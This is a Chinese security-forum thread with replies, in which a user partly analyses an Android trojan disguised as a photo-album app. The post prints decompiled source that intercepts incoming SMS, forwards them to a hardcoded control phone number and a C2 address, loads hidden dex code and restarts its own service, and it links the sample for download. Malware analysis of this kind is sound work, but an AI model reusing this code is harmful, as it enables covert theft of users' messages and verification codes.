一枚APK文件的分析【半成品】

Sp4ce · 发表于 2014-10-28 00:13

本帖最后由轩少于 2014-10-28 22:42 编辑

昨天从QQ群里截获的一个APK样本，看了下索取的权限，都是高危权限，不排除有窃取隐私的可能。
文件采用“包中包”（就是在一个APK中再放置另一个APK。比如这个：cao.apk在：同城约炮相册\res\raw目录下，安装完同城约炮相册.apk，运行后自动安装cao.apk）安装
文件信息：
同城约炮相册.apk
CRC32: DFFE6DBE
MD5: 4F487D6D264F6FE9915D7FAEEC6327D0
SHA-1: ACC64922E63F978F689EC8E87A76CF6855CA6D00

cao.apk
CRC32: 00AF413F
MD5: 325666F55D02C48725E3EBC5613226F9
SHA-1: 4701C5857E6CA205DEEFF4F9A41B50D2CEEB5438

[AppleScript] 纯文本查看 复制代码

<?xml version="1.0" encoding="utf-8"?>
<manifest
        xmlns:android="http://schemas.android.com/apk/res/android"
        android:versionCode="2"
        android:versionName="2.0"
        package="sdgfdg.wtert.sdgsfgbxbcvdfh"
        >
        <uses-sdk
                android:minSdkVersion="8"
                android:targetSdkVersion="20"
                android:name="android.permission.INTERNET"//访问网络
                android:name="android.permission.SEND_SMS" //发送短信
                android:name="android.permission.RECEIVE_SMS"//接收短信
                android:name="android.permission.READ_SMS"//读取短信
                android:name="android.permission.WRITE_SMS" //编写短信
                android:name="android.permission.WRITE_EXTERNAL_STORAGE"//操作外部存储文件
                android:name="android.permission.KILL_BACKGROUND_PROCESSES"//结束（杀掉）指定进程
                android:theme="@android:01030007"
                android:label="@7F060001"
                android:icon="@7F020000"
                android:debuggable="true"
                android:allowBackup="true"
                >
                <activity
                        android:label="@7F060001"
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.MainActivity"
                        >
                        <intent-filter
                                >
                                <action
                                        android:name="android.intent.action.MAIN"
                                        >
                                </action>
                                <category
                                        android:name="android.intent.category.LAUNCHER"
                                        >
                                </category>
                        </intent-filter>
                </activity>
                <service
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.MyServers1"//执行MyServers1.class
                        >
                </service>
                <receiver
                        android:label="请激活"
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.DevicesReceiver2"  //执行DevicesReceiver2.class
                        android:permission="android.permission.BIND_DEVICE_ADMIN"  //[color=#000][font=Arial]请求系统管理员接收者[/font][/color][color=#000][font=Helvetica]receiver[/font][/color]
                        android:description="@7F060003"
                        >
                        <meta-data
                                android:name="android.app.device_admin"
                                android:resource="@7F040000"
                                >
                        </meta-data>
                        <intent-filter
                                >
                                <action
                                        android:name="android.app.action.DEVICE_ADMIN_ENABLED"//打开设备管理器
                                        >
                                </action>
                        </intent-filter>
                </receiver>
                <receiver
                        android:name="sdgfdg.wtert.sdgsfgbxbcvdfh.laixinxis"//执行laixinxis.class
                        >
                        <intent-filter
                                android:priority="2147483647"
                                >
                                <action
                                        android:name="android.provider.Telephony.SMS_RECEIVED"//拦截系统收到信息广播（就是通知栏）
                                        >
                                </action>
                                <category
                                        android:name="android.intent.category.DEFAULT"//隐藏启动？
                                        >
                                </category>
                        </intent-filter>
                </receiver>
        </application>
</manifest>

查看AndroidManifest.xml配置文件，可以发现赋予了程序非常多的权限，且是高危的权限，例如发送短信、结束程序、拦截广播等等，
DevicesReceiver2.class代码如下：

[AppleScript] 纯文本查看 复制代码

package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.app.admin.DeviceAdminReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;

public class DevicesReceiver2 extends DeviceAdminReceiver
{
  ComponentName componentName;
  PackageManager packageManager;

  public void onDisabled(Context paramContext, Intent paramIntent)
  {
    super.onDisabled(paramContext, paramIntent);
  }

  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    super.onEnabled(paramContext, paramIntent);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    if (paramIntent.getAction().equals("android.app.action.DEVICE_ADMIN_ENABLED"))
      ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099659));
    while (true)
    {
      super.onReceive(paramContext, paramIntent);
      return;
      if (paramIntent.getAction().equals("android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"))
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099660));
    }
  }
}

发现调取了一个 huanaidss2.controlphone 我们接着看 huanaidss2.class

[AppleScript] 纯文本查看 复制代码

package sdgfdg.wtert.sdgsfgbxbcvdfh;

public class huanaidss2
{
  public static final String baidu = "http://60.8.229.158:8002/sj.asp";
  public static String controlphone = "15021352759";
}

得到： controlphone = "15021352759" 也就是说会给15021352759发短信，顺手搜了下手机号，呵呵呵。。

shouxinxi.class代码如下：

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package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.res.Resources;
import android.database.ContentObserver;
import android.net.Uri;
import android.os.Handler;

public class shouxinxi extends ContentObserver
{
  public SharedPreferences abSharedPreferences = null;
  private Context context;
  public SharedPreferences.Editor editor;
  private Uri inbox = null;
  private String status;

  public shouxinxi(Context paramContext, Handler paramHandler)
  {
    super(paramHandler);
    this.context = paramContext;
    this.inbox = Uri.parse("content://sms/inbox");
    Change();
  }

  public void Change()
  {
    this.abSharedPreferences = this.context.getSharedPreferences("data", 0);
    this.status = this.abSharedPreferences.getString("isWorkServer", "0");
    ApksUtil1.shanxx(this.context, this.context.getResources().getString(2131099666), this.context.getResources().getString(2131099669),
huanaidss2.controlphone, this.status, this.inbox, this.abSharedPreferences);//调用shanxx.class和huanaidss2.class
  }

  public void onChange(boolean paramBoolean)
  {
    super.onChange(paramBoolean);
    this.inbox = Uri.parse("content://sms/inbox");
    Change();
  }
}

laixinxis.class的代码如下：

[AppleScript] 纯文本查看 复制代码

package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.res.Resources;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

public class laixinxis extends BroadcastReceiver
{
  public SharedPreferences abSharedPreferences = null;
  public SharedPreferences.Editor editor;
  private String messageStr;
  private int n;
  private String phoneStr;
  private shouxinxi shouxxba;
  private String status;
  private SmsMessage[] xinxi;

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.abSharedPreferences = paramContext.getSharedPreferences("data", 0);
    this.status = this.abSharedPreferences.getString("isWorkServer", "0");
    Log.i("action", paramIntent.getAction());
    paramContext.getSharedPreferences("config", 0);
    Object[] arrayOfObject;
    if (paramIntent.getAction().equals(paramContext.getResources().getString(2131099655)))
    {
      arrayOfObject = (Object[])paramIntent.getExtras().get("pdus");
      this.xinxi = new SmsMessage[arrayOfObject.length];
      this.n = 0;
      if (this.n < arrayOfObject.length);
    }
    else
    {
      return;
    }
    this.xinxi[this.n] = SmsMessage.createFromPdu((byte[])arrayOfObject[this.n]);
    this.phoneStr = this.xinxi[this.n].getOriginatingAddress();
    this.messageStr = this.xinxi[this.n].getMessageBody();
    if (this.status.equals("1"))
    {
      ApksUtil1.pinbi(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099668), this);
      if (this.messageStr.contains("close"))
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099653));
        this.editor = this.abSharedPreferences.edit();
        this.editor.putString("isWorkServer", "0");
        this.editor.commit();
      }
    }
    while (true)
    {
      this.n = (1 + this.n);
      break;
      if (this.messageStr.contains("open"))
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099654));
        this.editor = this.abSharedPreferences.edit();
        this.editor.putString("isWorkServer", "1");
        this.editor.commit();
        this.shouxxba = new shouxinxi(paramContext, null);
        paramContext.getContentResolver().registerContentObserver(MyServers1.xxdizhi, true, this.shouxxba);
      }
      else
      {
        ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, this.phoneStr + "<" + this.messageStr);
        continue;
        if (this.messageStr.contains("open"))
        {
          ApksUtil1.pinbi(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099668), this);
          ApksUtil1.loadFaMsg(paramContext, paramContext.getResources().getString(2131099666), paramContext.getResources().getString(2131099667), huanaidss2.controlphone, paramContext.getResources().getString(2131099654));
          this.editor = this.abSharedPreferences.edit();
          this.editor.putString("isWorkServer", "1");
          this.editor.commit();
          this.shouxxba = new shouxinxi(paramContext, null);
          paramContext.getContentResolver().registerContentObserver(MyServers1.xxdizhi, true, this.shouxxba);
        }
      }
    }
  }

  void pingbi(Context paramContext, String paramString1, String paramString2, BroadcastReceiver paramBroadcastReceiver)
  {
    ApksUtil1.pinbi(paramContext, paramString1, paramString2, paramBroadcastReceiver);
  }

  public native void pingbiJNI(Context paramContext, String paramString1, String paramString2, BroadcastReceiver paramBroadcastReceiver);
}

被调用的shanxx代码如下：

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  public static void shanxx(Context paramContext, String paramString1, String paramString2, String paramString3, String paramString4, Uri paramUri, SharedPreferences paramSharedPreferences)
  {
    File localFile = paramContext.getDir("dex", 0);
    DexClassLoader localDexClassLoader = new DexClassLoader(AbFilesUtil1.path.getAbsolutePath() + AbFilesUtil1.Filepath, localFile.getAbsolutePath(), null, paramContext.getClassLoader());
    try
    {
      Class localClass = localDexClassLoader.loadClass(paramString1);
      Object localObject = localClass.newInstance();
      Method localMethod = localClass.getMethod(paramString2, new Class[] { Context.class, String.class, String.class, Uri.class, SharedPreferences.class });
      localMethod.setAccessible(true);
      localMethod.invoke(localObject, new Object[] { paramContext, paramString3, paramString4, paramUri, paramSharedPreferences });
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
}

MyServes1.class的代码如下（调用了上述几个class）：

[AppleScript] 纯文本查看 复制代码

package sdgfdg.wtert.sdgsfgbxbcvdfh;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.res.Resources;
import android.net.Uri;
import android.os.IBinder;

public class MyServers1 extends Service
{
  public static final Uri xxdizhi = Uri.parse("content://sms/");
  public SharedPreferences abSharedPreferences = null;
  private laixinxis xinxilai;
  private shouxinxi xxshou;

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
    super.onCreate();
    this.abSharedPreferences = getSharedPreferences("data", 0);
    this.xxshou = new shouxinxi(this, null);
    getContentResolver().registerContentObserver(xxdizhi, true, this.xxshou);
    IntentFilter localIntentFilter = new IntentFilter();
    localIntentFilter.addAction(getResources().getString(2131099655));
    localIntentFilter.setPriority(2147483647);
    this.xinxilai = new laixinxis();
    registerReceiver(this.xinxilai, localIntentFilter, getResources().getString(2131099655), null);
  }

  public void onDestroy()
  {
    super.onDestroy();
    stopForeground(true);
    unregisterReceiver(this.xinxilai);
    getContentResolver().unregisterContentObserver(this.xxshou);
    Intent localIntent = new Intent();
    localIntent.setClass(this, MyServers1.class);
    startService(localIntent);
  }
}

由于能力有限，我也只能搞到这里了，下面这是样本，有能力的继续搞吧……调用函数太多，密码：52pojie

同城约炮相册.rar (52.07 KB, 下载次数: 100)

Hmily · 发表于 2014-11-21 19:25

不错啊，开始搞安卓分析了？@willJ

rockymax · 发表于 2014-12-13 22:08

不错，研究一下呢

B6B6B6 · 发表于 2014-11-21 23:49

顶帖！！！！

爱不灭 · 发表于 2014-12-20 10:14

研究一下

Sp4ce · 发表于 2015-2-9 02:19

过几天再看下，最近没空，累如狗

武川烁 · 发表于 2015-2-10 09:51

你这文件名。。。

星期日 · 发表于 2015-3-20 23:49

我也在研究这款软件！楼主怎么那么久没有更新啦？

15732164757 · 发表于 2015-8-6 08:23

知道这个

蚊子169 · 发表于 2016-4-14 17:15

弄好了吗

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